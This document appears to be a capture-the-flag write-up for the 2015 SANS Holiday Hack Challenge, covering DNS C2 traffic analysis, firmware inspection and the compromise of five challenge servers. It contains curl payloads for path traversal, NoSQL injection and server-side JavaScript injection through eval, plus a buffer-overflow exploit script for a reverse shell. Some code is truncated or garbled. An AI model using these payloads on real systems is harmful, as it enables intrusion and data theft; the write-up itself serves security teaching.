The 2015 SANS Holiday Hack Challenge - Solution



  1. Which commands are sent across the Gnome’s command-and-control channel?
    1. EXEC:iwconfig in packet 363
    2. EXEC:cat /tmp/iwlistscan.txt in packet 573
  2. What image appears in the photo the Gnome sent across the channel from the Dosis home?
    • A tidy children’s room is depicted in the photo. The photo includes something like legs that are probably attached to the camera. At the bottom is a label with “GnomeNet-NorthAmerica”.
  3. What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?
    1. OpenWRT (r47650) on ARM
    2. NodeJS with Mongodb
  4. What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?
    1. MongoDB
    2. The following credentials are stored in the firmware image
      1. admin : SittingOnAShelf
      2. user : user
  5. What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?
    1. SG-01 (United States, Ashburn)
    2. SG-02 (United States, Boardman)
    3. SG-03 (Australia, Sydney)
    4. SG-04 (Japan, Tokyo)
    5. SG-05 (Brazil)
  6. Where is each SuperGnome located geographically?
  7. Describe the vulnerabilities you discovered in the Gnome firmware.
    1. Storage of clear text passwords in the MongoDB database.
    2. Local file inclusion via directory traversal in routes/index.js:195
      • The code checks whether the requested file path contains a “.png”.
      • The file upload can be utilized to create a temporary folder with a suitable name.
    3. Possible NoSQL injection for the login post in routes/index.js:109.
    4. Possible server side javascript injection for file upload in routes/index.js:166
      • The user provided parameter: posproc is utilized in an unsanatized eval()
    5. Stack based buffer overflow in sgnet_readn that is utilized in sgstatd.c:147:
      • The stack canary is static and can easily be repaired.
      • The stack canary includes a JMP ESP as a partial command. This assembly instruction is crucial for exploitation.
  8. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.
    1. SG-01: Administrative credentials from the firmware image provided full access.
    2. SG-02: A path traversal vulnerability allowed to download arbitrary files in the context of a standard user.
    3. SG-03: A NoSQL injection in the login form was exploited in order to login as admin user.
    4. SG-04: The system was compromised via server side javascript injection in NodeJS.
    5. SG-05: Weaponize remote exploit for sgstadt (4242/tcp) in order to a reverse shell.

Part 1: Dance of the Sugar Gnome Fairies: Curious Wireless Packets

The packet capture includes mostly traffic on port 53/udp. A client system at is querying the dns server at for a TXT record. In packet 363 the server responds with a base64 encoded string EXEC:iwconfig. Subsequently, the client starts sending TXT responses with base64 encoded data to the server. The response starts with a start marker EXEC:START_STATE. The end of the exec output is marked by an encoded EXEC:STOP. In packet 573 another command is scheduled by the server: EXEC:cat /tmp/iwlistscan.txt. Finally, in packet 875 the server requests a file with FILE:/root/Pictures/snapshot_CURRENT.jpg.

Nobody at home.

With this information a script can easily be created that automates that task. Find the code below in the code section

Part 2: I’ll be Gnome for Christmas: Firmware Analysis for Fun and Profit

After unpacking the firmware binary with binwalk, let’s take a look at the system. A look at etc/banner makes clear, that the image is based on OpenWRT, a popular alternative router firmware.

$ cat etc/banner
  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 DESIGNATED DRIVER (Bleeding Edge, r47650)
  * 2 oz. Orange Juice         Combine all juices in a
  * 2 oz. Pineapple Juice      tall glass filled with
  * 2 oz. Grapefruit Juice     ice, stir well.
  * 2 oz. Cranberry Juice

Consequently, the system architecture has to be ARM. Better verify that assumption by checking a system binary.

$ file bin/pwd 
bin/pwd: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped

Digging deeper to find the web application. In www there are a few JavaScript files and some subdirectories. These point towards a NodeJS based web application.

In the first lines of www/app.js mongodb is mentioned a few times. This is probably the backend database for the web application. According to etc/mongodb.conf the database files are located in /opt/mongodb. Quickly running strings over the files yield some promising results.

$ strings gnome.0

Looks like the application stores cleartext passwords. We can also follow the guide from SANS Penetration Testing to pillage the database.

Part 3: Let it Gnome! Let it Gnome! Let it Gnome! Internet-Wide Scavenger Hunt

The first IP address is listed in the etc/hosts of the firmware image. With the information from the web application a shodan search might also yield some useful results. provides four additional IP addresses running a SuperGnome web interface.

  1. Supergnome 1 - (United States, Ashburn)
  2. Supergnome 2 - (Japan, Tokyo)
  3. Supergnome 3 - (Brazil)
  4. Supergnome 4 - (Australia, Sydney)
  5. Supergnome 5 - (United States, Boardman)

Pinning the IP addresses on a map gives us the following overview.

Supergnome Map

Part 4: There’s No Place Like Gnome for the Holidays: Gnomage Pwnage


Improper storage of passwords

Passwords are stored in clear text in the MongoDB database.

user: user
admin: SittingOnAShelf

NoSQL injection

Possible NoSQL injection for the login post in routes/index.js:109. Exploitation might not possible as “extended = false” for the firmware as described at StackExchange.

...'/', function(req, res, next) {
  var db = req.db;
  var msgs = [];
  db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user) { // STUART: Removed this in favor of below.  Really guys?
  //db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars

Server Side Javascript Injection

Possible server side javascript injection for file upload in routes/index.js:166. The user provided parameter: posproc is utilized in an unsanatized eval().

...'/files', upload.single('file'), function(req, res, next) {
  if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // NEDFORD: this should be 99 not 100 so admins can upload
    var msgs = [];
    file = req.file.buffer;
    if (req.file.mimetype === 'image/png') {
      msgs.push('Upload successful.');
      var postproc_syntax = req.body.postproc;
      console.log("File upload syntax:" + postproc_syntax);
      if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
        msgs.push('Executing post process...');
        var result; {
          result = eval('(' + postproc_syntax + ')');
        // STUART: (WIP) working to improve image uploads to do some post processing.
        msgs.push('Post process result: ' + result);

Path Traversal

Local file inclusion via directory traversal in routes/index.js:187 The code checks whether the requested file path contains a “.png”. The file upload can be utilized to create a temporary folder with a suitable name.

router.get('/cam', function(req, res, next) {
  var camera = unescape(;
  // check for .png
  //if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right?
  camera = camera + '.png'; // add .png if its not found
  console.log("Cam:" + camera);
  fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) {
    if (e) {
	    res.end('File ./public/images/' + camera + ' does not exist or access denied!');
  fs.readFile('./public/images/' + camera, function (e, data) {

Remote Buffer Overflow

A buffer overflow exists in sgnet_readn that is utilized in sgstatd.c:147:. The input buffer is 100 bytes while the function sgnet_readn reads 200 bytes. This is a classical stack based buffer overflow.

The stack canary is static and can easily be repaired. The stack canary includes a JMP ESP as a partial command. This assembly instruction is crucial for exploitation.

int sgstatd(sd)
	__asm__("movl $0xe4ffffe4, -4(%ebp)");
	//Canary pushed

	char bin[100];
	write(sd, "\nThis function is protected!\n", 30);
	//recv(sd, &bin, 200, 0);
	sgnet_readn(sd, &bin, 200);
	__asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t"	// Canary checked
		"jne sgnet_exit");
	return 0;



Supergnome 1

The cleartext credentials stored in the firmware image allow administrative access to the system.

user: admin
pass: SittingOnAShelf

Simply navigate to the files section and download the configuration file.

Gnome Serial Number: NCC1701

That’s an obvious easter egg. NCC-1701 is the alternative name for the starship USS Enterprise in the fictional Star Trek universe.


Supergnome 2

A path traversal vulnerability allowed to download arbitrary files in the context of the admin user. First, a temporary directory has to be created by uploading a configuration file. The server response includes the full path to the temporary directory. According to the application code, the temporary directory is created and never deleted.

Path Traversal - step 1
curl -s -k  -X 'POST' -b 'sessionid=Knd8Zz6X77F0bdC3ldBa' \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-binary $'filen=.png/file.cfg&' \

The temporary directory path circumvents the file extension check. Simply add the respective path in the request to a camera image in order to exploit the vulnerability. Let’s download files in the context of the gnome-admin user!

Path Traversal - step 2
curl -s -k  -X 'GET' -b 'sessionid=Knd8Zz6X77F0bdC3ldBa' \

Finally, take a short glance at the gnome configuration file.

Gnome Serial Number: XKCD988

Again, the gnome serial number is an easter egg and points to XKCD 988


Supergnome 3

A NoSQL injection in the login form was exploited in order to login as admin user.

NoSQL Injection on the login form.
curl -s -k -X 'POST' -b 'sessionid=blcGsGlPTvewgL5k3VIk' \
    -H 'Content-Type: application/json' \
    --data-binary $'{\x0d\x0a\x09\"username\": {\"$ne\": \"user\"},\x0d\x0a\x09\"password\": {\"$gt\": \"\"}\x0d\x0a}' \

Some additional NoSQL trickery lets us brute-force the accounts and passwords.

Brute-Forcing the password for admin.

With admin privileges, simply download the gnome configuration.

Gnome Serial Number: THX1138

The serial number is the title of an early Georg Lucas movie. Go watch it!

THX 1138

The following credentials could be recovered from the database. The SuperGnome admin louise seems to be a fan of the song Welcome Christmas from the musical.

admin: StillSittingOnAShelf!
louise: FahWhoRahMoose

Supergnome 4

The system was compromised via server side javascript injection in NodeJS. The initial credentials for a valid session are present in the firmware image. With a valid session id, simply upload a file and include the SSJS payload of your choice in the postproc variable.

Server-Side JavaScript Injection
curl -s -k -X 'POST' -b 'sessionid=QWnIchSxTmT8BIyHE5OL' \
       -H 'Content-Type: multipart/form-data; boundary=---------------------------1353123760992125901018690058' \
       --data-binary $'-----------------------------1353123760992125901018690058\x0d\x0aContent-Disposition: form-data; name=\"postproc\"\x0d\x0a\x0d\x0ares.end(require(\'fs\').readFileSync(\'files/gnome.conf\'))\x0d\x0a-----------------------------1353123760992125901018690058\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"stallowned.png\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------1353123760992125901018690058--\x0d\x0a' \

The above command reads the contents of gnome configuration file and sends it back to the attacker. Other handy payloads might be to open a reverse shell.

Gnome Serial Number: BU22_1729_2716057

The serial number likely refers to Bending Unit 22, unit number 1729, serial number 2716057


The following credentials could be recovered from the database. Nedford, the SuperGnome admin seems to be quite enthusiastic about his work.

admin: SittingOnAShelf
nedford: AllIWantForXmasIsYourPresents

Supergnome 5

The vulnerability is in the sgstatd daemon running on port 4242/tcp. The target buffer is 100 bytes, yet the program read 200 bytes giving us a classic buffer overflow. A static stack canary should protect the vulnerable function. Unfortunately, it is static and can therefore be easily be added to the exploit. Furthermore, the canary includes a partial assembly instruction necessary to exploit the vulnerability JMP ESP.

A compiled binary is present in the firmware image. Using this binary allows to adjust the addresses in the exploit. The remote exploit proof-of-concept code is listed below.

Established remote shell on SuperGnome 5.

The reverse shell is only executed with the unpriviledged nobody user’s rights. Yet, we can access the gnome configuration because of poor access rights.

Gnome Serial Number: 4CKL3R43V4

No idea what this serial number might point to. It looks like leet speak for ACK LE RAEVA.

The following credentials could be recovered from the database. The real Grinch has be uncovered!

admin: SittingOnAShelf
sims: IAmTheRealGrinch!

Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution

Each SuperGnome has got one unique packet stored in the files folder. The packet captures include SMTP traffic between a client and a server. All five emails are associate with the mail address

What is the nefarious plot of ATNAS Corporation?

All the recovered mails include hints to the plans of ATNAS Corporation.

The mail on SuperGnome 3 provides an outline of the plot.

Oh, and I’ve heard that many of you are asking where the name ATNAS comes from. Why, it’s reverse SANTA, of course. Instead of bringing presents on Christmas, we’ll be stealing them!

The mail on SuperGnome 4 includes a clear outline written by the mastermind.

I vowed to finish what the Grinch had started, but to do it at a far larger scale. Using the latest technology and a distributed channel of burglars, we’d rob 2 million houses, grabbing their most precious gifts, and selling them on the open market. We’ll destroy Christmas as two million homes full of people all cry “BOO-HOO”, and we’ll turn a handy profit on the whole deal.

This is probably based on a childhood trauma suffered by the villain. The excerpt below from the mail on SuperGnome 3 is remarkably similar to the childhood experience of Cindy-Lou Who.

If any children observe you in their houses that night, remember to tell them that you are actually “Santy Claus”, and that you need to send the specific items you are taking to your workshop for repair. Describe it in a very friendly manner, get the child a drink of water, pat him or her on the head, and send the little moppet back to bed.

The packet capture on SuperGnome 5 includes an email from the Grinch to the villain. He tries to apologize for his wrong doings a long time ago.

Who is the villain behind the nefarious plot?

The most interesting mail is stored on SuperGnome 4 in It is addressed to and signed by Cindy Lou Who.

Additional evidence might be included in the scrambled video image of the firmware. Each SuperGnome contains an image with white noise. These have been XOR and can therefore be reversed. This process can be easily achieved with a script using pillow’s ImageMath. The restored video feed image is still not very clear.

With the information from the mail, we can compare the latest known image of Cindy-Lou Who with the restored image:

Image comparison


Part 1

Part 2

Part 3

Part 4


Decrypt C&C Communication

#!/usr/bin/env python2
from scapy.all import *

packetCount = 0
cmds = []

def customAction(packet):
    global packetCount
    packetCount += 1
    if packet.haslayer(DNSRR):
        return "Packet #%s: %s" % (packetCount, packet[DNSRR].rdata)
        return "Packet #%s: %s" % (packetCount, packet.summary)
        return "Packet #%s: %s ==> %s" % (packetCount, packet[0][1].src, packet[0][1].dst)

#filter_bpf = '(dns ) && (ip.src =='
filter_bpf = 'udp and port 53'
packets = sniff(offline='giyh-capture.pcap', prn=customAction, filter=filter_bpf, store=0, count=-1)

import base64

chunk_data = ""
chunk_name = ""
chunk_id = 0
chunks = {}

for cmd in cmds:
    cmd_dec = base64.b64decode(cmd)

    if string.find(cmd_dec,"NONE:") >= 0:
    elif string.find(cmd_dec,"FILE:") >= 0:
        if string.find(cmd_dec,"FILE:START_STATE") >= 0:
            rdx = string.rfind(cmd_dec,"/") 
            chunk_name = cmd_dec[rdx+1:len(cmd_dec)]

            print("file chunk start: %s" % cmd_dec)
            print("file chunk start: (%d) %s" % (rdx, chunk_name))
            chunk_id = 0
            chunk_data = ""
        elif string.find(cmd_dec,"FILE:STOP") >= 0:
            print("file chunks %d..." % chunk_id)
            chunks[chunk_name] = chunk_data
            chunk_data = ""
            chunk_name = ""
            if chunk_id == 0:
            chunk_id += 1
            chunk_data += cmd_dec[5:]

    elif string.find(cmd_dec,"EXEC:") >= 0:
        if string.find(cmd_dec,"EXEC:START_STATE") >= 0:
            print("exec chunk start: %s" % cmd_dec)
            chunk_id = 0
            chunk_data = ""
        elif string.find(cmd_dec,"EXEC:STOP") >= 0:
            #print(">>%s<<" % (chunk))
            chunks[chunk_name] = chunk_data
            chunk_data = ""
            chunk_name = ""
            #print(">>%d:%s:%s<<" % (chunk_id,chunk_name,cmd_dec))
            if chunk_name == "" and len(chunk_data) == 0:
                chunk_name = cmd_dec[5:-1]
                chunk_data += cmd_dec[5:]
            chunk_id += 1


for k,v in chunks.iteritems():
    print(k, len(v))
    fname = "".join(x for x in k if x.isalnum())
    with open(fname, "wb") as fh:

sgstatd Remote Exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import socket
import struct
import sys
from time import sleep

target_ip = ""
target_port = 4242

def send_data(sock, payload=""):
  out = payload

set follow-fork-mode child
break *0x80493c4

shellcode1 = "\xCC"
shellcode2 = "\xeb\xAE" \

eip = struct.pack("<I",0x80493b6) #JMP ESP
canary = struct.pack("<I",0xe4ffffe4)
ebp = struct.pack("<I",0xbff7b0ac)
exploit = "\xCC"*(104-len(shellcode1)) +shellcode1 +canary +ebp +eip +"\x90" +shellcode2
exploit += "\xCC"*(200-len(exploit)) ## fill target buffer

sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
if sock:
  msg = sock.recv(51)
  msg += sock.recv(45)
  msg += sock.recv(28)
  msg += sock.recv(26)
  msg += sock.recv(27)

  ret = send_data(sock, "X")

  msg = sock.recv(4)
  sleep(60.0 / 1000.0)
  for i in range(22):
    msg += sock.recv(1)
    sleep(60.0 / 1000.0)
  msg += sock.recv(4)
  sleep(60.0 / 1000.0)
  msg += sock.recv(75)
  sleep(60.0 / 1000.0)

  waitit = 1
  print("# Waiting %d seconds" %(waitit))

  msg = sock.recv(30)
  sleep(60.0 / 1000.0)

  ret = send_data(sock, exploit)


Restore Overlay Error

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from PIL import Image, ImageChops, ImageMath
import sys

print(sys.argv, len(sys.argv))

if len(sys.argv) != 2:
    print("please provide an input file names")

from os import walk, path

mydir = sys.argv[1]
imajs = []
for (dirpath, dirnames, filenames) in walk(mydir):
    for filename in filenames:
        img =, filename)).convert("RGB")#.convert('L')#.convert('LA')#.convert("RGB")

newimaj ='RGB', (1024, 768))

for x in xrange(1024):
    for y in xrange(769):
        r, g, b = None, None, None

        for imaj in imajs:
            print(x,y, imaj)

            red, green, blue = imaj.getpixel((x, y))

            if not r:
                r, g, b = red, green, blue
                r ^= red
                g ^= green
                b ^= blue

        newimaj.putpixel((x, y), (r, g, b))'solution.png')